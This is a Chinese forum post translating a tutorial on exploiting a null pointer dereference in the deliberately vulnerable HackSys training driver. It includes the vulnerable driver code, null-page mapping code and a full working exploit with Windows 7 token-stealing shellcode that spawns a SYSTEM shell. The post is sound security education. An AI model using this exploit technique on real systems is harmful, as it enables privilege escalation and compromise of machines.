用户
搜索
  • TA的每日心情
    慵懒
    2017-8-1 17:50
  • 签到天数: 35 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    18

    主题

    134

    帖子

    476

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2015-12-29

    幽默灌水王春秋游侠积极活跃奖限定版春秋段子手i春秋签约作者

    发表于 2017-8-1 18:53:19 33147
    本帖最后由 prison 于 2017-8-1 18:55 编辑

    Windows Kernel Exploitation – NullPointer Dereference


    原文地址:

    https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-dereference/

    由prison翻译整理,首发i春秋

    引言:Windows内核漏洞的利用和学习一直是众多白帽子心中的痛,相对于web安全来说内核学习方面的文章实在太少,今天

    为大家带来的是Windows内核内核安全学习较为基础的文章,步骤完善,适合初学者。难度:三颗星


    今天我要分享的是在HackSy**treme练习程序中对于空指针解引用漏洞的利用方法。
    漏洞概述:
    资源在这:
    https://github.com/hacksysteam/HackSy**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.c
    [AppleScript] 纯文本查看 复制代码
    NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
        ULONG UserValue = 0;
        ULONG MagicValue = 0xBAD0B0B0;
        NTSTATUS Status = STATUS_SUCCESS;
        PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
     
        PAGED_CODE();
     
        __try {
            // Verify if the buffer resides in user mode
            ProbeForRead(UserBuffer,
                         sizeof(NULL_POINTER_DEREFERENCE),
                         (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
     
            // Allocate Pool chunk
            NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                      ExAllocatePoolWithTag(NonPagedPool,
                                                            sizeof(NULL_POINTER_DEREFERENCE),
                                                            (ULONG)POOL_TAG);
     
            if (!NullPointerDereference) {
                // Unable to allocate Pool chunk
                DbgPrint("[-] Unable to allocate Pool chunk\n");
     
                Status = STATUS_NO_MEMORY;
                return Status;
            }
            else {
                DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
                DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
                DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
                DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
            }
     
            // Get the value from user mode
            UserValue = *(PULONG)UserBuffer;
     
            DbgPrint("[+] UserValue: 0x%p\n", UserValue);
            DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
     
            // Validate the magic value
            if (UserValue == MagicValue) {
                NullPointerDereference->Value = UserValue;
                NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
     
                DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
                DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
            }
            else {
                DbgPrint("[+] Freeing NullPointerDereference Object\n");
                DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
                DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
     
                // Free the allocated Pool chunk
                ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
     
                // Set to NULL to avoid dangling pointer
                NullPointerDereference = NULL;
            }
     
    #ifdef SECURE
            // Secure Note: This is secure because the developer is checking if
            // 'NullPointerDereference' is not NULL before calling the callback function
            if (NullPointerDereference) {
                NullPointerDereference->Callback();
            }
    #else
            DbgPrint("[+] Triggering Null Pointer Dereference\n");
     
            // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
            // because the developer is not validating if 'NullPointerDereference' is NULL
            // before calling the callback function
            NullPointerDereference->Callback();
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
     
        return Status;
    }

    如你所见,在源代码中你可以很清楚的看到程序的一切操作。在第42行,将“userValue”与值“0xBAD0B0B0”进行比较,如果在第58行失败,则“NullPointerDereference”值被设置为NULL,在第73行中,值“NullPointerDereference”在调用回调函数之前没有被验证。
    让我们把它拆开来看。可以看到,如果提供的“MagicValue”是错误的,那么“NullPointerDereference”的值将被设置为NULL,以避免指针挂起。
    [AppleScript] 纯文本查看 复制代码
    xor esi, esi
    1.png
    但是在最后一行,当回调函数被调用时,“NullPointerDereference”的值没有被验证,它是NULL。因此,这导致了一个BSOD,不过,有一个例外处理程序可以避免这一点。
    2.png
    测试漏洞我将使用这个驱动程序头文件中提供的IOCTL值。
    [AppleScript] 纯文本查看 复制代码
    #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
    

    现在将0xBAD0B0B0作为用户输入赋值给"MagicValue’
    3.png
    [AppleScript] 纯文本查看 复制代码
    #include "stdafx.h"
    #include <stdio.h>
    #include <Windows.h>
     
    #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
     
    int _tmain(int argc, _TCHAR* argv[]) {
        HANDLE hDevice;
        DWORD lpBytesReturned;
        PVOID pMemoryAddress = NULL;
        LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
        ULONG MagicValue = 0xBAD0B0B0;
     
        hDevice = CreateFile(
            lpDeviceName,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
            NULL);
     
        wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
        wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
     
        if (hDevice == INVALID_HANDLE_VALUE) {
            wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
            return 1;
        }
     
        wprintf(L"[+] Sending IOCTL request\n");
     
        DeviceIoControl(
            hDevice,
            HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
            (LPVOID)&MagicValue,
            NULL,
            NULL,
            0,
            &lpBytesReturned,
            NULL);
     
        CloseHandle(hDevice);
     
        return 0;
    }


    然后你会看到,屏幕中打印出“[+] Null Pointer Dereference Object Callback”字样,这说明回调函数执行成功。


    而如果我们想搞点不一样的姿势的话可以传递一个错误的“MagicValue”值,比如“0xBaadBabe”,由于异常被处理,BSOD将被阻

    止。

    [AppleScript] 纯文本查看 复制代码
    ULONG MagicValue = 0xBaadBabe;
    4.png
    我在这搞了个断点。
    [AppleScript] 纯文本查看 复制代码
    call    dword ptr [esi+4]
    5.png
    一旦我用错误的“MagicValue”触发漏洞,我们就会碰到断点。现在的问题是在地址0x00000004上分配我们的指针到shell代码。
    6.png
    如何在0x4分配DWORD?
    像VirtualAlloc或VirtualAlloc这样的函数不允许我们在小于0x00001000的起始地址分配内存。因此,我们将不得不使用NTAPI无参数函数的“NtAllocateVirtualMemory”来在用户空间中映射一个空页,然后,我们可以在地址0x00000004上写一个指向shell代码的指针。
    [AppleScript] 纯文本查看 复制代码
    NTSTATUS NtAllocateVirtualMemory(
      _In_    HANDLE    ProcessHandle,
      _Inout_ PVOID     *BaseAddress,
      _In_    ULONG_PTR ZeroBits,
      _Inout_ PSIZE_T   RegionSize,
      _In_    ULONG     AllocationType,
      _In_    ULONG     Protect
    );
    下面是一个示例代码,我在地址0x4中分配了值“0x12345678”
    [AppleScript] 纯文本查看 复制代码
    #include "stdafx.h"
    #include <windows.h>
     
    typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
        HANDLE ProcessHandle,
        PVOID *BaseAddress,
        ULONG ZeroBits,
        PULONG AllocationSize,
        ULONG AllocationType,
        ULONG Protect
        );
       
    int _tmain(int argc, _TCHAR* argv[]) {
     
        PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
         
        if (!NtAllocateVirtualMemory) {
            wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
            return -1;
        }
         
        PVOID BaseAddress = (PVOID)0x1;
        SIZE_T RegionSize = 1024; 
     
        NTSTATUS ntStatus = NtAllocateVirtualMemory(
            GetCurrentProcess(), 
            &BaseAddress, 
            0, 
            &RegionSize, 
            MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
            PAGE_EXECUTE_READWRITE 
            );
     
        PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
        *(PULONG)ShellcodePtr = (ULONG)0x12345678;
    }
    如果我们检查内存转储,我们可以看到我们在地址0x4中成功地分配了一个DWORD
    7.png
    最终利用我们现在可以综合一下上述所得到的所有线索,把我们的shell代码写到0x4并传递一个错误的“MagicValue”值来触发漏洞
    [AppleScript] 纯文本查看 复制代码
    #include "stdafx.h"
    #include <stdio.h>
    #include <Windows.h>
    #include <Shlobj.h>
     
     
    #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
     
    #define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
    #define SYSTEM_PID        0x004    // SYSTEM Process PID
     
     
    typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
        HANDLE ProcessHandle,
        PVOID *BaseAddress,
        ULONG ZeroBits,
        PULONG AllocationSize,
        ULONG AllocationType,
        ULONG Protect
        );
     
    VOID TokenStealingShellcodeWin7() {
        __asm {
            ; initialize
                pushad; save registers state
     
                xor eax, eax; Set zero
                mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
                mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
     
                mov ecx, eax; Copy current _EPROCESS structure
     
                mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
                mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
     
            SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
                sub eax, FLINK_OFFSET
                cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
                jne SearchSystemPID
     
                mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
                mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
                ; to current process
                popad; restore registers state
        }
    }
     
    int _tmain(void)
    {
        HANDLE hDevice;
        DWORD lpBytesReturned;
        PVOID pMemoryAddress = NULL;
        LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
        STARTUPINFO si = { sizeof(STARTUPINFO) };
        PROCESS_INFORMATION pi;
        ULONG MagicValue = 0xBaadBabe;
     
        hDevice = CreateFile(
            lpDeviceName,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
            NULL);
     
        wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
        wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
     
        if (hDevice == INVALID_HANDLE_VALUE) {
            wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
            return -1;
        }
     
        PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
     
        if (!NtAllocateVirtualMemory) {
            wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
            return -1;
        }
     
        PVOID BaseAddress = (PVOID)0x1;
        SIZE_T RegionSize = 1024;
     
        NTSTATUS ntStatus = NtAllocateVirtualMemory(
            GetCurrentProcess(),
            &BaseAddress,
            0,
            &RegionSize,
            MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
            PAGE_EXECUTE_READWRITE
            );
     
        PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
        *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;
     
        wprintf(L"[+] Sending IOCTL request\n");
     
        DeviceIoControl(
            hDevice,
            HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
            (LPVOID)&MagicValue,
            NULL,
            NULL,
            0,
            &lpBytesReturned,
            NULL);
     
        ZeroMemory(&si, sizeof si);
        si.cb = sizeof si;
        ZeroMemory(&pi, sizeof pi);
     
        IsUserAnAdmin() ?
     
        CreateProcess(
            L"C:\\Windows\\System32\\cmd.exe",
            L"/T:17",
            NULL,
            NULL,
            0,
            CREATE_NEW_CONSOLE,
            NULL,
            NULL,
            (STARTUPINFO *)&si,
            (PROCESS_INFORMATION *)&pi) :
     
        wprintf(L"[!] Exploit Failed!");
     
        CloseHandle(hDevice);
        return 0;
    }

    https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp
    现在 “calldword ptr [esi+4]”这个设置断点的地方, 验证我们的exp并且查看内存中0x4的位置。
    8.png
    然后我们检查它指向哪里,可以看出它正在指向我们的token窃取代码。
    9.png
    OK~大功告成,这是我们拿到的shell。
    10.png

    本帖被以下淘专辑推荐:

    阿甫哥哥 管理员 i春秋最帅男神-阿甫大哥哥 楚 核心白帽 i春秋签约作者 白帽传说 春秋游侠 秦 燕 魏
    来自 4#
    发表于 2017-8-17 22:26:51
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    100
    感谢分享,文章内容完整,节奏感强,步骤完善,适合初学者。


    Time will give me the answer
    使用道具 举报 回复
    发表于 2017-8-3 23:40:54
    虽然看不懂 但我坚持要看
    使用道具 举报 回复
    发表于 2017-8-8 09:13:27
    翻译的不错哈,赞
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册